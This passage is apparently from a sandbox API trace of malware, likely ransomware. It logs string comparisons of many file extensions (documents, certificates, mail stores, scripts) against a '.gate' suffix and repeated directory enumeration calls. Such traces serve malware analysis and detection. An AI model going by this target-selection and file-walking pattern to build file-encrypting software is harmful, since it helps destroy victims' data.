lstrcmpiW (lpString1=".mht", lpString2="gate") returned -1 [0318.037] lstrlenW (lpString=".mhtml") returned 6 [0318.037] lstrcmpiW (lpString1=".mhtml", lpString2="].gate") returned -1 [0318.042] lstrlenW (lpString=".mka") returned 4 [0318.042] lstrcmpiW (lpString1=".mka", lpString2="gate") returned -1 [0318.042] lstrlenW (lpString=".mkidx") returned 6 [0318.042] lstrcmpiW (lpString1=".mkidx", lpString2="].gate") returned -1 [0318.042] lstrlenW (lpString=".mkv") returned 4 [0318.042] lstrcmpiW (lpString1=".mkv", lpString2="gate") returned -1 [0318.042] lstrlenW (lpString=".mos") returned 4 [0318.042] lstrcmpiW (lpString1=".mos", lpString2="gate") returned -1 [0318.042] lstrlenW (lpString=".mov") returned 4 [0318.042] lstrcmpiW (lpString1=".mov", lpString2="gate") returned -1 [0318.042] lstrlenW (lpString=".mp3") returned 4 [0318.042] lstrcmpiW (lpString1=".mp3", lpString2="gate") returned -1 [0318.043] lstrlenW (lpString=".mp4") returned 4 [0318.043] lstrcmpiW (lpString1=".mp4", lpString2="gate") returned -1 [0318.043] lstrlenW (lpString=".mpeg") returned 5 [0318.043] lstrcmpiW (lpString1=".mpeg", lpString2=".gate") returned 1 [0318.043] lstrlenW (lpString=".mpg") returned 4 [0318.043] lstrcmpiW (lpString1=".mpg", lpString2="gate") returned -1 [0318.043] lstrlenW (lpString=".mpv") returned 4 [0318.043] lstrcmpiW (lpString1=".mpv", lpString2="gate") returned -1 [0318.043] lstrlenW (lpString=".mrw") returned 4 [0318.043] lstrcmpiW (lpString1=".mrw", lpString2="gate") returned -1 [0318.043] lstrlenW (lpString=".msg") returned 4 [0318.043] lstrcmpiW (lpString1=".msg", lpString2="gate") returned -1 [0318.043] lstrlenW (lpString=".mxl") returned 4 [0318.043] lstrcmpiW (lpString1=".mxl", lpString2="gate") returned -1 [0318.043] lstrlenW (lpString=".myd") returned 4 [0318.043] lstrcmpiW (lpString1=".myd", lpString2="gate") returned -1 [0318.043] lstrlenW (lpString=".myi") returned 4 [0318.043] lstrcmpiW (lpString1=".myi", lpString2="gate") returned -1 [0318.043] lstrlenW (lpString=".nef") returned 4 [0318.043] lstrcmpiW (lpString1=".nef", lpString2="gate") returned -1 [0318.043] lstrlenW (lpString=".nrw") returned 4 [0318.043] lstrcmpiW (lpString1=".nrw", lpString2="gate") returned -1 [0318.043] lstrlenW (lpString=".obj") returned 4 [0318.043] lstrcmpiW (lpString1=".obj", lpString2="gate") returned -1 [0318.043] lstrlenW (lpString=".odb") returned 4 [0318.043] lstrcmpiW (lpString1=".odb", lpString2="gate") returned -1 [0318.043] lstrlenW (lpString=".odc") returned 4 [0318.043] lstrcmpiW (lpString1=".odc", lpString2="gate") returned -1 [0318.043] lstrlenW (lpString=".odm") returned 4 [0318.043] lstrcmpiW (lpString1=".odm", lpString2="gate") returned -1 [0318.043] lstrlenW (lpString=".odp") returned 4 [0318.043] lstrcmpiW (lpString1=".odp", lpString2="gate") returned -1 [0318.043] lstrlenW (lpString=".ods") returned 4 [0318.043] lstrcmpiW (lpString1=".ods", lpString2="gate") returned -1 [0318.043] lstrlenW (lpString=".oft") returned 4 [0318.043] lstrcmpiW (lpString1=".oft", lpString2="gate") returned -1 [0318.044] lstrlenW (lpString=".one") returned 4 [0318.044] lstrcmpiW (lpString1=".one", lpString2="gate") returned -1 [0318.044] lstrlenW (lpString=".onepkg") returned 7 [0318.044] lstrcmpiW (lpString1=".onepkg", lpString2="m].gate") returned -1 [0318.044] lstrlenW (lpString=".onetoc2") returned 8 [0318.044] lstrcmpiW (lpString1=".onetoc2", lpString2="om].gate") returned -1 [0318.044] lstrlenW (lpString=".opt") returned 4 [0318.044] lstrcmpiW (lpString1=".opt", lpString2="gate") returned -1 [0318.044] lstrlenW (lpString=".oqy") returned 4 [0318.044] lstrcmpiW (lpString1=".oqy", lpString2="gate") returned -1 [0318.044] lstrlenW (lpString=".orf") returned 4 [0318.044] lstrcmpiW (lpString1=".orf", lpString2="gate") returned -1 [0318.044] lstrlenW (lpString=".p12") returned 4 [0318.044] lstrcmpiW (lpString1=".p12", lpString2="gate") returned -1 [0318.044] lstrlenW (lpString=".p7b") returned 4 [0318.044] lstrcmpiW (lpString1=".p7b", lpString2="gate") returned -1 [0318.044] lstrlenW (lpString=".p7c") returned 4 [0318.044] lstrcmpiW (lpString1=".p7c", lpString2="gate") returned -1 [0318.044] lstrlenW (lpString=".pam") returned 4 [0318.044] lstrcmpiW (lpString1=".pam", lpString2="gate") returned -1 [0318.044] lstrlenW (lpString=".pbm") returned 4 [0318.044] lstrcmpiW (lpString1=".pbm", lpString2="gate") returned -1 [0318.044] lstrlenW (lpString=".pct") returned 4 [0318.044] lstrcmpiW (lpString1=".pct", lpString2="gate") returned -1 [0318.044] lstrlenW (lpString=".pcx") returned 4 [0318.044] lstrcmpiW (lpString1=".pcx", lpString2="gate") returned -1 [0318.044] lstrlenW (lpString=".pdd") returned 4 [0318.044] lstrcmpiW (lpString1=".pdd", lpString2="gate") returned -1 [0318.044] lstrlenW (lpString=".pdf") returned 4 [0318.044] lstrcmpiW (lpString1=".pdf", lpString2="gate") returned -1 [0318.044] lstrlenW (lpString=".pdp") returned 4 [0318.044] lstrcmpiW (lpString1=".pdp", lpString2="gate") returned -1 [0318.044] lstrlenW (lpString=".pef") returned 4 [0318.044] lstrcmpiW (lpString1=".pef", lpString2="gate") returned -1 [0318.044] lstrlenW (lpString=".pem") returned 4 [0318.044] lstrcmpiW (lpString1=".pem", lpString2="gate") returned -1 [0318.044] lstrlenW (lpString=".pff") returned 4 [0318.045] lstrcmpiW (lpString1=".pff", lpString2="gate") returned -1 [0318.045] lstrlenW (lpString=".pfm") returned 4 [0318.045] lstrcmpiW (lpString1=".pfm", lpString2="gate") returned -1 [0318.045] lstrlenW (lpString=".pfx") returned 4 [0318.045] lstrcmpiW (lpString1=".pfx", lpString2="gate") returned -1 [0318.045] lstrlenW (lpString=".pgm") returned 4 [0318.045] lstrcmpiW (lpString1=".pgm", lpString2="gate") returned -1 [0318.045] lstrlenW (lpString=".php") returned 4 [0318.045] lstrcmpiW (lpString1=".php", lpString2="gate") returned -1 [0318.045] lstrlenW (lpString=".php3") returned 5 [0318.045] lstrcmpiW (lpString1=".php3", lpString2=".gate") returned 1 [0318.045] lstrlenW (lpString=".php4") returned 5 [0318.045] lstrcmpiW (lpString1=".php4", lpString2=".gate") returned 1 [0318.045] lstrlenW (lpString=".php5") returned 5 [0318.045] lstrcmpiW (lpString1=".php5", lpString2=".gate") returned 1 [0318.045] lstrlenW (lpString=".phtml") returned 6 [0318.045] lstrcmpiW (lpString1=".phtml", lpString2="].gate") returned -1 [0318.045] lstrlenW (lpString=".pict") returned 5 [0318.045] lstrcmpiW (lpString1=".pict", lpString2=".gate") returned 1 [0318.045] lstrlenW (lpString=".pl") returned 3 [0318.045] lstrcmpiW (lpString1=".pl", lpString2="ate") returned -1 [0318.045] lstrlenW (lpString=".pls") returned 4 [0318.045] lstrcmpiW (lpString1=".pls", lpString2="gate") returned -1 [0318.045] lstrlenW (lpString=".pm") returned 3 [0318.045] lstrcmpiW (lpString1=".pm", lpString2="ate") returned -1 [0318.045] lstrlenW (lpString=".png") returned 4 [0318.045] lstrcmpiW (lpString1=".png", lpString2="gate") returned -1 [0318.045] lstrlenW (lpString=".pnm") returned 4 [0318.045] lstrcmpiW (lpString1=".pnm", lpString2="gate") returned -1 [0318.045] lstrlenW (lpString=".pot") returned 4 [0318.045] lstrcmpiW (lpString1=".pot", lpString2="gate") returned -1 [0318.045] lstrlenW (lpString=".potm") returned 5 [0318.045] lstrcmpiW (lpString1=".potm", lpString2=".gate") returned 1 [0318.045] lstrlenW (lpString=".potx") returned 5 [0318.045] lstrcmpiW (lpString1=".potx", lpString2=".gate") returned 1 [0318.045] lstrlenW (lpString=".ppa") returned 4 [0318.046] lstrcmpiW (lpString1=".ppa", lpString2="gate") returned -1 [0318.046] lstrlenW (lpString=".ppam") returned 5 [0318.046] lstrcmpiW (lpString1=".ppam", lpString2=".gate") returned 1 [0318.046] lstrlenW (lpString=".ppm") returned 4 [0318.046] lstrcmpiW (lpString1=".ppm", lpString2="gate") returned -1 [0318.046] lstrlenW (lpString=".pps") returned 4 [0318.046] lstrcmpiW (lpString1=".pps", lpString2="gate") returned -1 [0318.046] lstrlenW (lpString=".ppsm") returned 5 [0318.046] lstrcmpiW (lpString1=".ppsm", lpString2=".gate") returned 1 [0318.046] lstrlenW (lpString=".ppt") returned 4 [0318.046] lstrcmpiW (lpString1=".ppt", lpString2="gate") returned -1 [0318.046] lstrlenW (lpString=".pptm") returned 5 [0318.046] lstrcmpiW (lpString1=".pptm", lpString2=".gate") returned 1 [0318.046] lstrlenW (lpString=".pptx") returned 5 [0318.046] lstrcmpiW (lpString1=".pptx", lpString2=".gate") returned 1 [0318.046] lstrlenW (lpString=".prn") returned 4 [0318.046] lstrcmpiW (lpString1=".prn", lpString2="gate") returned -1 [0318.046] lstrlenW (lpString=".ps") returned 3 [0318.046] lstrcmpiW (lpString1=".ps", lpString2="ate") returned -1 [0318.046] lstrlenW (lpString=".psb") returned 4 [0318.046] lstrcmpiW (lpString1=".psb", lpString2="gate") returned -1 [0318.046] lstrlenW (lpString=".psd") returned 4 [0318.046] lstrcmpiW (lpString1=".psd", lpString2="gate") returned -1 [0318.046] lstrlenW (lpString=".pst") returned 4 [0318.046] lstrcmpiW (lpString1=".pst", lpString2="gate") returned -1 [0318.046] lstrlenW (lpString=".ptx") returned 4 [0318.046] lstrcmpiW (lpString1=".ptx", lpString2="gate") returned -1 [0318.046] lstrlenW (lpString=".pub") returned 4 [0318.046] lstrcmpiW (lpString1=".pub", lpString2="gate") returned -1 [0318.046] lstrlenW (lpString=".pwm") returned 4 [0318.046] lstrcmpiW (lpString1=".pwm", lpString2="gate") returned -1 [0318.051] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d81740 | out: hHeap=0x490000) returned 1 [0318.051] FindNextFileW (in: hFindFile=0x4a5a18, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.053] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d81740 | out: hHeap=0x490000) returned 1 [0318.053] FindNextFileW (in: hFindFile=0x4a5a18, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 0 [0318.053] FindClose (in: hFindFile=0x4a5a18 | out: hFindFile=0x4a5a18) returned 1 [0318.053] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0318.054] FindNextFileW (in: hFindFile=0x4a5758, lpFindFileData=0x33cfcf8 | out: lpFindFileData=0x33cfcf8) returned 1 [0318.054] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.055] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.055] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.055] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 0 [0318.055] FindClose (in: hFindFile=0x4a59d8 | out: hFindFile=0x4a59d8) returned 1 [0318.055] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0318.055] FindNextFileW (in: hFindFile=0x4a5758, lpFindFileData=0x33cfcf8 | out: lpFindFileData=0x33cfcf8) returned 1 [0318.058] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.058] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.060] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.060] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.061] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.061] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.062] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.062] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.066] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.066] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.067] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.068] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.232] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.232] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.233] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.233] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.235] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.235] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.236] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.236] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.237] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.237] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.239] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.239] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.240] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.240] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.241] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.241] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.243] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.243] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.244] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.244] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.247] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.247] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.249] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.249] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.250] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.250] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.251] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.251] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.252] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.252] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.254] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.254] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.255] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.255] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.256] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.256] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.258] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.258] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.259] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.259] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.261] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.261] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.262] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.262] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.263] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70730 | out: hHeap=0x490000) returned 1 [0318.264] FindNextFileW (in: hFindFile=0x4a5758, lpFindFileData=0x33cfcf8 | out: lpFindFileData=0x33cfcf8) returned 1 [0318.264] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.264] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.265] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.265] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.265] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.265] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.265] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.265] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.265] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.265] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.265] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.265] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.266] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.266] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.266] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.266] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.266] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.266] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.266] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.266] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.266] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.266] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.361] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.361] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.361] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.361] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.362] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.362] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.362] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.362] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.362] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.362] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.362] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.362] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.363] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.363] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.367] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.367] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.367] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.367] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.367] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.367] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.368] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.368] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.368] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.368] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.368] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.368] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.368] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.368] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.369] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.369] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.369] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.369] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.370] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x43b2068 | out: hHeap=0x490000) returned 1 [0318.370] FindNextFileW (in: hFindFile=0x43b0648, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0318.370] FindClose (in: hFindFile=0x43b0648 | out: hFindFile=0x43b0648) returned 1 [0318.370] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.371] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.371] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.371] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.371] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.371] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.372] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.372] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.372] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.372] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.372] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.372] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.372] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.372] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.373] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.373] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.373] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.373] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.373] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80738 | out: hHeap=0x490000) returned 1 [0318.373] FindNextFileW (in: hFindFile=0x4a59d8, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0318.374] HeapFree (in: hHeap=0x490000, 